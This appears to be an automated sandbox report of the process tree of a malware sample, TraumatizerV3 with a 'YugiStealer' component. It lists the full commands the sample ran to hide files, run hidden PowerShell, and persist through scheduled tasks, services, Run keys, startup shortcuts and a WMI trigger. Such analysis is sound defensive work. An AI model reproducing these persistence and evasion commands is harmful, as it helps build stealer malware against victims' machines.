C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\XhF4BkbR\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\svchost.exe"C:\Windows\Temp\svchost.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\svchost.exe\" }"2⤵
-
C:\Windows\Temp\svchost.exe"C:\Windows\Temp\svchost.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\M4CMRvor\TraumatizerV3.exe"C:\Windows\Temp\M4CMRvor\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\M4CMRvor\FartnutsTrauma.vbs" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\lsass.exe"C:\Users\Public\Documents\lsass.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"2⤵
-
C:\Users\Public\Documents\lsass.exe"C:\Users\Public\Documents\lsass.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\dW1O24JK\TraumatizerV3.exe"C:\Windows\Temp\dW1O24JK\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\dW1O24JK\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
